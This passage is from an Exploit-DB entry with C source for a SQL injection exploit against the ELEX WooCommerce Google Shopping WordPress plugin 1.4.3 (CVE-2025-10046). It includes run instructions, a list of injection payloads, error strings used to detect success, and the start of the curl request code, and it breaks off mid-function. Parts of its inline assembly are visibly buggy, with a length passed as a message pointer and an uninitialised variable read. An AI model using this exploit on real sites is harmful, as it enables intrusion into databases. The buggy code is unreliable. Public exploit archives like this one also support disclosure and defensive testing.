Exploit-DB #52430
Description: ELEX WooCommerce WordPress Plugin 1.4.3 - SQL Injection
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Byte Reaper

Exploit:
/*
 * Exploit Title             :  ELEX WooCommerce WordPress Plugin 1.4.3 - SQL Injection 
 * Author                     : Byte Reaper
 * Cve id                     : CVE-2025-10046
 * Service                    : plugin wordpress
 * Plugin                     : ELEX WooCommerce Google Shopping
 * Version                    : 1.4.3
 * Type                       : SQL injection
 * Parameter injection        : file_to_delete
 * Location file              : includes/elex-manage-feed-ajax.php
 * Exploit  Privilege  Access : High (admin account)
 * Run:
 *      # gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl
 *      # ./CVE-2025-10046 -h (Help)
 *      # ./CVE-2025-10046 -u (url)
 *      # ./CVE-2025-10046 -c (cookie)
 *      # ./CVE-2025-10046 -v (verbose)
 *      Run Script :
 *          # ./CVE-2025-10046 -u http://127.0.0.1 -v -c [Cookie file admin]
 */

#include <stdio.h>
#include <string.h>
#include "argparse.h"
#include <time.h>
#include <curl/curl.h>
#include <stdlib.h>
#include <sys/utsname.h>
#define FULL 4000
#define D_P 3000
int verbose=0;
int selCookie=0;
const char *baseurl = NULL;
const char *cookies = NULL;
static void asmExit()
{
    printf("\e[0;35m[+] Exit syscall : ================================================\n");
    const char *mes6 = "\e[0;34m[+] Success Get pid.\e[0m\n";
    const char *mes7 = "\e[0;31m[-] Error : Error Get pid,Exit...\e[0m\n";
    const char *mes8 = "\e[0;34m[+] Success Get tid.\e[0m\n";
    const char *mes9 = "\e[0;31m[-] Error : Error Get tid,Exit...\e[0m\n";
    size_t len6 = strlen(mes6);
    size_t len7 = strlen(mes7);
    size_t len8 = strlen(mes8);
    size_t len9 = strlen(mes9);
    pid_t pid;
    pid_t tid;
    long a;
    long b;
    __asm__ volatile
    (
        "syscall\n\t"
        :"=a"(a)
        :"a"(0x27)
        :"rcx",
        "r11",
        "memory"
    );
    __asm__ volatile
    (
        "cmp $0x0, %[var3]\n\t"
        "je .resulPid\n\t"
        ".doPid:\n\t"
        "mov $0x1, %%rdi\n\t"
        "mov $0x1, %%rax\n\t"
        "mov %[len6], %%rdx\n\t"
        "mov %[len6], %%rsi\n\t"
        "syscall\n\t"
        "jmp .fiPid\n\t"
        ".resulPid:\n\t"
        "mov %[len7], %%rdx\n\t"
        "mov $0x1, %%rax\n\t"
        "mov $0x1, %%rdi\n\t"
        "mov %[mes7], %%rsi\n\t"
        "syscall\n\t"
        "mov $0x0, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        ".fiPid:\n\t"
        :
        : [var3] "r" (a),
          [mes6] "r" (mes6),
          [len6] "r" (len6),
          [mes7] "r" (mes7),
          [len7] "r" (len7)
        : "rax",
          "rdi",
          "rsi",
          "rdx"
    );
    pid = (pid_t)a;
    __asm__ volatile
    (
        "syscall\n\t"
        :"=a"(b)
        :"a"(0xBA)
        :"rcx",
        "r11",
        "memory"
    );
    __asm__ volatile
    (
        "cmp $0x0, %[varTId]\n\t"
        "je .bfGF\n\t"
        ".dkp:\n\t"
        "mov $0x1, %%rdi\n\t"
        "mov $0x1, %%rax\n\t"
        "mov %[mes8], %%rsi\n\t"
        "mov %[len8], %%rdx\n\t"
        "syscall\n\t"
        "jmp .plrg\n\t"
        ".bfGF:\n\t"
        "mov $0x1, %%rdi\n\t"
        "mov %[mes9], %%rsi\n\t"
        "mov %[len9], %%rdx\n\t"
        "mov $0x1, %%rax\n\t"
        "syscall\n\t"
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        ".plrg:\n\t"
        :
        : [varTId] "r" (tid),
          [mes8] "r" (mes8),
          [len8] "r" (len8),
          [mes9] "r" (mes9),
          [len9] "r" (len9)
        : "rax",
          "rdi",
          "rsi",
          "rdx"
    );
    tid = (pid_t)b;
    printf("[+] PID : %d\n", (int)a);
    printf("[+] TID : %d\n", (int)b);
    __asm__ volatile
    (
            "mov $0x3E, %%rax\n\t"
            "mov %[pidValue], %%rdi\n\t"
            "mov $0x0, %%rsi\n\t"
            "syscall\n\t"
            :
            : [pidValue] "r" (a)
            : "rax",
              "rdi",
              "rsi"

    );
    printf("\e[0;35m===================================================================\n");
}

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[0;31m[-] Failed to allocate memory!\e[0m\n");
        asmExit();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

const char *pyL[] =
        {
            "UNION ALL SELECT NULL",
            "AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
            "UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
            "or 1=1/*",
            "or '1'='1'",
            " HAVING 1=1",
            NULL
        };
const char *word[] =
        {
        "SQL syntax",
        "Warning: mysql_",
        "Warning: mysqli_",
        "unrecognized token",
        "feed_meta_content",
        "manage_feed_data",
        NULL
};

static void req(const char *url)
{
    char full[FULL];
    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode res;
    if (curl == NULL)
    {
        printf("\e[0;31m[-] Error Create CURL object !\e[0m\n");
        asmExit();
    }
    if (curl)
    {
        struct curl_slist *h = NULL;
        char *encode = NULL;
        if (response.buffer != NULL && response.len != 0)
        {
            printf("\e[0;31m[-] Error Clean Buffer and len response!\e[0m\n");
            asmExit();
        }
        printf("\e[0;34m[+] Response buffer and len clean success.\e[0m\n");